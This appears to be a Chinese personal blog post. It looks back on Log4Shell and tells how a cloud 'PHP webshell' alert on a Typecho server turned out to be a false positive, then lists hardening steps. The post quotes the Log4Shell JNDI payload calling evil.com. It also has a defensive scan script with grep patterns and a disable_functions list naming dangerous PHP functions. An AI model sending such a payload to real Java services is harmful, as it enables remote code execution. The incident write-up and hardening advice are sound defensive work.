0 | 为什么又写安全
2021 年底那场 Log4j / Log4Shell 崩天动地:一句
java
${jndi:ldap://evil.com/a}
把全球 Java 服务搞到连夜加班。从那以后我对 "一行代码就穿云箭" 的安全事件格外敏感。上周京东云突然提示 "PHP 木马·严重" ,而我只在这台 Rocky Linux 9 小主机上跑了一个从零搭建的 Typecho 博客。
怀疑人生 →爬日志 →ClamAV/RKHunter →误报 →复盘,过程像 2021 的戏码翻拍一次。把这两件事放一起写,算给后来人一个避坑手册,也给自己一个安慰:安全没终点,只有不断修正坐标。
1 | Log4Shell:安全「黑天鹅」教会了我什么
时间线 | 关键点 | 现实映射 |
---|---|---|
2021‑11‑24 Alibaba Cloud 报告 Apache 基金会 | 0‑day 已被野外利用 | 很多公司"代码升级难 + 测试跑不完" |
2021‑12‑10 PoC & 漏洞细节公开 | JNDI + 远程代码执行 |
开源依赖随便引就能炸 |
2021‑12‑16 官方"3 连补" | 2.15.0 → 2.17.1 | 补丁即破坏------灰度发布策略的重要性 |
后续 | 连锁漏洞 CVE‑2021‑45046 等 | 一旦打补丁晚,纵深防御救命 |
我学到的三个字: 默认不可信
只要有动态解析+远程输入,就别指望框架开发者能帮你想全安全。
2 | 我的主机告警事件
2.1 告警邮件

提了工单告诉我要单独购买应急响应服务 点进去一看,特喵的要5w,没事我这小服务器,自己学习用,不怕我忍
2.2 现场应急
bash
#!/usr/bin/env bash
# rockylinux_webshell_scan.sh
#
# 目的:
# 对报告有 PHP webshell 入侵的 Rocky Linux 9 Web 服务器进行自动化初步检测
# 1. 更新操作系统和杀毒软件签名
# 2. 安装 ClamAV 和 rkhunter 工具
# 3. 扫描 /var/www 目录查找恶意软件和可疑的 PHP 代码
# 4. 收集基本的取证信息(最近修改的 PHP 文件、可疑函数、监听端口、活跃进程)
#
# 使用方法:
# sudo bash rockylinux_webshell_scan.sh
#
# 输出:
# 所有日志将写入到 /root/security_scan_<时间戳>/ 目录
#
set -e # 遇到错误立即退出脚本 [风险点1: 可能导致在关键步骤失败时整个脚本终止]
# 创建日志目录,使用当前时间作为目录名的一部分
LOG_DIR="/root/security_scan_$(date +%F_%H%M%S)"
mkdir -p "$LOG_DIR" # [风险点2: 未检查目录创建是否成功]
echo "[*] 正在更新系统软件包..." | tee -a "$LOG_DIR/scan.log"
dnf -y update >>"$LOG_DIR/dnf_update.log" 2>&1 # [风险点3: 强制更新可能导致服务中断]
echo "[*] 正在安装依赖项 (EPEL, ClamAV, rkhunter)..." | tee -a "$LOG_DIR/scan.log"
dnf -y install epel-release >>"$LOG_DIR/epel.log" 2>&1
dnf -y install clamav clamav-update rkhunter >>"$LOG_DIR/pkg_install.log" 2>&1 # [风险点4: 未检查安装是否成功]
echo "[*] 正在更新 ClamAV 病毒库签名..." | tee -a "$LOG_DIR/scan.log"
freshclam >>"$LOG_DIR/freshclam.log" 2>&1 || true # [风险点5: 失败也继续,但未记录失败状态]
echo "[*] 正在对 /var/www 目录执行 ClamAV 递归扫描..." | tee -a "$LOG_DIR/scan.log"
clamscan -ri /var/www >>"$LOG_DIR/clamscan_www.log" 2>&1 || true # [风险点6: 未指定内存限制,可能导致大文件扫描时内存溢出]
echo "[*] 正在更新 rkhunter 数据库并运行扫描 ..." | tee -a "$LOG_DIR/scan.log"
rkhunter --update >>"$LOG_DIR/rkhunter_update.log" 2>&1 || true
rkhunter --propupd -q || true # [风险点7: 自动更新系统文件属性可能误判为修改]
rkhunter -c --enable all --sk --rwo >>"$LOG_DIR/rkhunter_scan.log" 2>&1 || true
echo "[*] 正在搜索可疑的 PHP 函数 ..." | tee -a "$LOG_DIR/scan.log"
# [风险点8: grep搜索模式不够全面,可能漏检加密或变形的webshell]
grep -R --line-number --color=never -E "(base64_decode|eval\\(|assert\\(|system\\(|shell_exec\\(|passthru\\(|exec\\(|popen\\(|proc_open\\()" /var/www 2>/dev/null >"$LOG_DIR/php_suspicious_functions.txt" || true
echo "[*] 正在列出最近修改的 PHP 文件(过去3天)..." | tee -a "$LOG_DIR/scan.log"
find /var/www -type f -name "*.php" -mtime -3 -print0 | xargs -0 ls -l >"$LOG_DIR/php_recent.txt" || true # [风险点9: 只检查.php扩展名,可能漏检其他类型文件]
echo "[*] 正在捕获网络监听端口和进程信息 ..." | tee -a "$LOG_DIR/scan.log"
ss -tulpn >"$LOG_DIR/listening_ports.txt" # 显示所有TCP和UDP监听端口
ps aux --sort=-%cpu | head -n 40 >"$LOG_DIR/top_processes.txt" # [风险点10: 限制为前40个进程可能漏掉重要但不占CPU的恶意进程]
echo "[*] 扫描完成。取证信息已保存至 $LOG_DIR" # [风险点11: 没有提供扫描结果摘要]
-
快照 + 只读模式
bashsystemctl stop nginx mount -o remount,ro /
-
ClamAV 全盘扫描
- 0 感染,但
/proc
大量pread fail
。
- 0 感染,但
-
rkhunter
- 仅提示
/dev/shm/PostgreSQL.*
、RabbitMQ GC 日志,确认非 rootkit。
- 仅提示
-
grep 高危函数
- 命中两条:
eval("$string")
(Typecho 官方 i18n)、注释里的eval()
。
- 命中两条:
bash
sudo grep -R --line-number -E \ 'eval\(|assert\(|preg_replace.*\/e|create_function|system\(|shell_exec\(|proc_open\(|passthru\(' \ --include='*.php' /var/www 2>/dev/null | head -n 200
-
监听端口 & 进程
- RocketMQ、GitLab、Jenkins、Redis......是我自己装的。
2.3 根因:后台在线编辑器 admin/theme-editor.php
- 官方文件,含写模板能力------云安全把它当"潜在木马"标红。
- 因为主题目录属主是
root
,PHP 进程无写权,所以真正落地风险低。 - 但道理同 Log4Shell:功能设计本身就是漏洞,只要运维失手一秒即可被利用。
3 | 我做的 8 条修复
优先级 | 动作 | 命令/配置 |
---|---|---|
P0 | 删除在线编辑器 | mv theme-editor.php theme-editor.php.bak |
P0 | 上传目录可写,其余只读 | chown -R root:root , chown apache:apache usr/uploads |
P0 | 禁 root 密码登录 | PermitRootLogin prohibit-password |
P1 | disable_functions |
exec,passthru,shell_exec,system,proc_open,popen,assert |
P1 | 开启 open_basedir |
/var/www/typecho:/tmp |
P1 | Nginx 白名单解析 | `if ($request_filename !~ "^/var/www/typecho/(index |
P2 | Fail2ban + WAF | 拦截非法 POST/上传 |
P2 | 自动化扫描基线 | clamdscan + rkhunter --propupd + systemd timer |
结果:京东云高危告警归零,自己心也稳了。
4 | 思考
-
功能 = 权限 × 输入
能写文件、能 eval 的功能默认高危。上线前问自己一句:
"它真的必须在线?不能改成离线脚本吗?"
-
最小权限即最后护城河
- Web 进程 + 只读模板 + 只写 uploads。
-
WAF / Nginx "正向白名单" 比黑名单靠谱
- 只解析特定目录的
.php
。
- 只解析特定目录的
-
定时"增量扫描 + 基线比对" > 全盘漫扫
- rkhunter/AIDE 监控改动,ClamAV 扫增量。
-
防守思维迁移:从"补洞"到"收敛攻击面"
- 与其问"能不能防所有 0‑day",不如先把 可写 、可执行 面积减半。